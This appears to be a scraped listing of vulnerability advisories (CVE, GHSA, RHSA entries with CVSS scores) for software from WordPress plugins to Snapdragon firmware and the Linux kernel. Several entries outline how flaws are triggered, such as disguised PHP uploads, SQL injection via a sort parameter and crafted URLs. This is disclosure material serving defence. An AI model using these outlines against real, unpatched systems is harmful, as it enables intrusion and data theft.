CVSS v3.1 score: 8.6
GHSA-9g7g-grc6-f65g 
Apple Darwin Streaming Server 5.5 and earlier allows remote attackers to cause a denial of service (application crash) via a URL with a filename containing a .cgi extension and an MS-DOS device name such as AUX, CON, PRN, COM1, or LPT1, a different vulnerability than CVE-2003-0421 and CVE-2003-0502.
CVE-2022-34152 
Improper input validation in BIOS firmware for some Intel(R) NUC Boards, Intel(R) NUC Kits before version TY0070 may allow a privileged user to potentially enable escalation of privilege via local access.
CVSS v3.1 score: 7.7
GHSA-r8g9-pw2x-5v49 
PHP remote file inclusion vulnerability in install.jim.php in the JIM 1.0.1 component for Joomla or Mambo allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.
GHSA-r895-r5c8-hvhp 
Huawei NIP6800 versions V500R001C30, V500R001C60SPC500, and V500R005C00SPC100; and Secospace USG6600 and USG9500 versions V500R001C30SPC200, V500R001C30SPC600, V500R001C60SPC500, and V500R005C00SPC100 have an information leakage vulnerability. An attacker can exploit this vulnerability by sending specific request packets to affected devices. Successful exploit may lead to information leakage.
CVE-2025-14798 LearnPress – WordPress LMS Plugin <= 4.3.2.4 - Missing Authorization to Unauthenticated Sensitive User Information Disclosure via REST API
The LearnPress – WordPress LMS Plugin for WordPress is vulnerable to Sensitive Information Exposure in versions up to, and including, 4.3.2.4 via the get_item_permissions_check function. This makes it possible for unauthenticated attackers to extract sensitive data including user first names and last names. Other information such as social profile links and enrollment are also included.
CVSS v3.1 score: 5.3
CVE-2021-21062 Acrobat Reader DC Buffer Overflow Vulnerability Could Lead To Arbitrary Code Execution
Acrobat Reader DC versions versions 2020.013.20074 (and earlier), 2020.001.30018 (and earlier) and 2017.011.30188 (and earlier) are affected by a Memory corruption vulnerability when parsing a specially crafted PDF file. An unauthenticated attacker could leverage this vulnerability to achieve arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS v3.0 score: 7.8
CVE-2021-30271 
Possible null pointer dereference in trap handler due to lack of thread ID validation before dereferencing it in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer Electronics Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Voice & Music, Snapdragon Wearables, Snapdragon Wired Infrastructure and Networking
CVSS v3.1 score: 7.3
GHSA-3hwp-p2jw-j4xh 
Incorrect permissions in the installation directories for shared SystemLink Elixir based services may allow an authenticated user to potentially enable escalation of privilege via local access.
CVSS v3.1 score: 7.8
CVE-2020-7625 
op-browser through 1.0.6 is vulnerable to Command Injection. It allows execution of arbitrary commands via the url function.
CVSS v3.1 score: 9.8
CVSS v2.0 score: 7.5
CVE-2023-28596 Local Privilege Escalation in Zoom for macOS Installers
Zoom Client for IT Admin macOS installers before version 5.13.5 contain a local privilege escalation vulnerability. A local low-privileged user could exploit this vulnerability in an attack chain during the installation process to escalate their privileges to privileges to root.
CVSS v3.1 score: 7.8
GHSA-c2jh-j6fc-98gj 
Buffer over-read can happen when the buffer length received from response handlers is more than the size of the payload in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer Electronics Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon IoT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wired Infrastructure and Networking
CVE-2025-2652 SourceCodester Employee and Visitor Gate Pass Logging System exposure of information through directory listing
A vulnerability has been found in SourceCodester Employee and Visitor Gate Pass Logging System 1.0 and classified as problematic. Affected by this vulnerability is an unknown functionality. The manipulation leads to exposure of information through directory listing. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. It is recommended to change the configuration settings. Multiple sub-directories are affected.
CVSS v4.0 score: 6.9
CVSS v3.1 score: 5.3
CVSS v3.0 score: 5.3
CVSS v2.0 score: 5
CVE-2023-4698 Improper Input Validation in usememos/memos
Improper Input Validation in GitHub repository usememos/memos prior to 0.13.2.
CVSS v3.0 score: 7.5
CVE-2023-1413 WP VR < 8.2.9 - Reflected XSS
The WP VR WordPress plugin before 8.2.9 does not sanitise and escape some parameters before outputting them back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
CVSS v3.1 score: 6.1
GHSA-39mq-9cjh-6382 
The tag interface of Delta Electronics DIALink versions 1.2.4.0 and prior is vulnerable to an attacker injecting formulas into the tag data. Those formulas may then be executed when it is opened with a spreadsheet application.
GHSA-4jv2-2rv5-865c 
newimage.php in Eric Gerdes Crafty Syntax Image Gallery (CSIG) (aka PHP thumbnail Photo Gallery) 3.1g and earlier allows remote authenticated users to upload and execute arbitrary PHP code via a multipart/form-data POST with a .jpg filename in the fullimage parameter and the ext parameter set to .php.
RHSA-2026:26304 Red Hat Security Advisory: General availability of the satellite/iop-insights-engine-rhel9 container image
urllib3: urllib3: Information disclosure via cross-origin redirects forwarding sensitive headers urllib3: urllib3: Denial of Service due to excessive HTTP response decompression
CVSS v3.1 score: 7.5
GHSA-76hj-mcwf-qj3w 
In the Linux kernel, the following vulnerability has been resolved:perf/x86/amd: Fix crash due to race between amd_pmu_enable_all, perf NMI and throttlingamd_pmu_enable_all() does:A perf NMI of another event can come between these two steps. Perf NMI
handler internally disables and enables _all_ events, including the one
which nmi-intercepted amd_pmu_enable_all() was in process of enabling.
If that unintentionally enabled event has very low sampling period and
causes immediate successive NMI, causing the event to be throttled,
cpuc->events[idx] and cpuc->active_mask gets cleared by x86_pmu_stop().
This will result in amd_pmu_enable_event() getting called with event=NULL
when amd_pmu_enable_all() resumes after handling the NMIs. This causes a
kernel crash:BUG: kernel NULL pointer dereference, address: 0000000000000198
  #PF: supervisor read access in kernel mode
  #PF: error_code(0x0000) - not-present page
  [...]
  Call Trace:
   <TASK>
   amd_pmu_enable_all+0x68/0xb0
   ctx_resched+0xd9/0x150
   event_function+0xb8/0x130
   ? hrtimer_start_range_ns+0x141/0x4a0
   ? perf_duration_warn+0x30/0x30
   remote_function+0x4d/0x60
   __flush_smp_call_function_queue+0xc4/0x500
   flush_smp_call_function_queue+0x11d/0x1b0
   do_idle+0x18f/0x2d0
   cpu_startup_entry+0x19/0x20
   start_secondary+0x121/0x160
   secondary_startup_64_no_verify+0xe5/0xeb
   </TASK>amd_pmu_disable_all()/amd_pmu_enable_all() calls inside perf NMI handler
were recently added as part of BRS enablement but I'm not sure whether
we really need them. We can just disable BRS in the beginning and enable
it back while returning from NMI. This will solve the issue by not
enabling those events whose active_masks are set but are not yet enabled
in hw pmu.
CVSS v3.1 score: 4.7
GHSA-7fmp-gwcc-mw3r 
Rejected reason: Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Further investigation showed that the issue does not pose a security risk as it falls within the expected functionality and security controls of the application.
CVE-2023-20624 
In vow, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS07628530; Issue ID: ALPS07628530.
CVSS v3.1 score: 6.7
CVE-2024-22444 
A vulnerability within the web-based management interface of EdgeConnect SD-WAN Orchestrator could allow a remote attacker to conduct a reflected cross-site scripting (XSS) attack against a user of the interface. A successful exploit could allow an attacker to execute arbitrary script code in a victims browser in the context of the affected interface.
CVSS v3.1 score: 6.1
GHSA-w5xg-24x3-2465 
Uncontrolled recursion vulnerability in Avast Antivirus when scanning a malformed Windows PE file may allow Denial-of-Service of the antivirus process.This issue affects Avast Antivirus, AVG Antivirus, Norton Antivirus, Avast One, and Avast Business Antivirus on Windows, macOS, and Linux for virus definition builds before VPS 25031700.The affected scanning logic is delivered through a shared Gen Digital virus definition update stream. The same stream feeds the consumer antivirus products listed in this advisory and other Gen Digital products that embed the same engine. Mitigation flows through this update channel; installations at or above the listed build are not vulnerable regardless of which product consumes the stream.
CVSS v3.1 score: 5.5
CVE-2026-5074 ARMember Premium <= 7.3.1 - Authenticated (Subscriber+) SQL Injection via 'sSortDir_0' Parameter
The ARMember Premium plugin for WordPress is vulnerable to SQL Injection via the 'sSortDir_0' parameter of the `get_private_content_data` AJAX action in all versions up to, and including, 7.3.1. This is due to insufficient sanitization of the user-supplied parameter which is concatenated directly into the ORDER BY clause of an SQL query without a whitelist check. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Note: The vulnerability can only be exploited if the "User Private Content" addon is enabled, which is disabled by default..
CVSS v3.1 score: 6.5
CVE-2015-3257 
Zend/Diactoros/Uri::filterPath in zend-diactoros before 1.0.4 does not properly sanitize path input, which allows remote attackers to perform cross-site scripting (XSS) or open redirect attacks.
CVSS v3.0 score: 6.1
CVSS v2.0 score: 4.3
CVE-2025-1769 Product Import Export for WooCommerce <= 2.5.0 - Directory Traversal to Authenticated (Administrator+) Limited Arbitrary File Read via download_file Function
The Product Import Export for WooCommerce – Import Export Product CSV Suite plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 2.5.0 via the download_file() function. This makes it possible for authenticated attackers, with Administrator-level access and above, to read the contents of arbitrary log files on the server, which can contain sensitive information.
CVSS v3.1 score: 4.9
GHSA-g8fx-vvch-2699 
The PayPal module in Ubercart does not verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via an arbitrary valid certificate.
GHSA-7g6v-cgr9-2355 
The CAF demuxer in modules/demux/caf.c in VideoLAN VLC media player 3.0.4 may read memory from an uninitialized pointer when processing magic cookies in CAF files, because a ReadKukiChunk() cast converts a return value to an unsigned int even if that value is negative. This could result in a denial of service and/or a potential infoleak.
CVSS v3.0 score: 9.1
GHSA-mxjq-42m3-vg3c 
Brocade SANnav before v.2.1.0a could allow remote attackers cause a denial-of-service condition due to a lack of proper validation, of the length of user-supplied data as name for custom field name.
CVE-2012-3190 
Unspecified vulnerability in the Oracle Universal Work Queue component in Oracle E-Business Suite 11.5.10.2, 12.0.6, 12.1.1, 12.1.2, and 12.1.3 allows remote attackers to affect confidentiality and integrity, related to UWQ Server Issues.
CVSS v2.0 score: 6.4
GHSA-7779-c4hg-x9wj 
In display, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS11004276; Issue ID: MSV-7748.
CVSS v3.1 score: 6
CVE-2018-6695 Threat Intelligence Exchange Server (TIE Server) SSH host keys generation vulnerability
SSH host keys generation vulnerability in the server in McAfee Threat Intelligence Exchange Server (TIE Server) 1.3.0, 2.0.x, 2.1.x, 2.2.0 allows man-in-the-middle attackers to spoof servers via acquiring keys from another environment.
CVSS v3.0 score: 6.1
RHSA-2023:4025 Red Hat Security Advisory: Red Hat OpenShift support for Windows Containers 7.1.0 [security update]
containerd: Supplementary groups are not set up properly
CVSS v3.1 score: 7.3
RHSA-2025:0080 Red Hat Security Advisory: firefox security update
firefox: thunderbird: WebChannel APIs susceptible to confused deputy attack firefox: thunderbird: Use-after-free when breaking lines in text firefox: Alt-Svc ALPN validation failure when redirected firefox: Compartment mismatch when parsing JavaScript JSON module firefox: Memory corruption when using JavaScript Text Segmentation firefox: thunderbird: Memory safety bugs fixed in Firefox 134, Thunderbird 134, Firefox ESR 115.19, Firefox ESR 128.6, Thunderbird 115.19, and Thunderbird 128.6 firefox: thunderbird: Memory safety bugs fixed in Firefox 134, Thunderbird 134, Firefox ESR 128.6, and Thunderbird 128.6
CVSS v3.1 score: 7.5
CVE-2008-0659 
Stack-based buffer overflow in Aurigma Image Uploader ActiveX control (ImageUploader4.ocx) 4.5.70 and earlier, as used in MySpace MySpaceUploader.ocx 1.0.0.4, allows remote attackers to execute arbitrary code via a long Action property.
CVSS v2.0 score: 10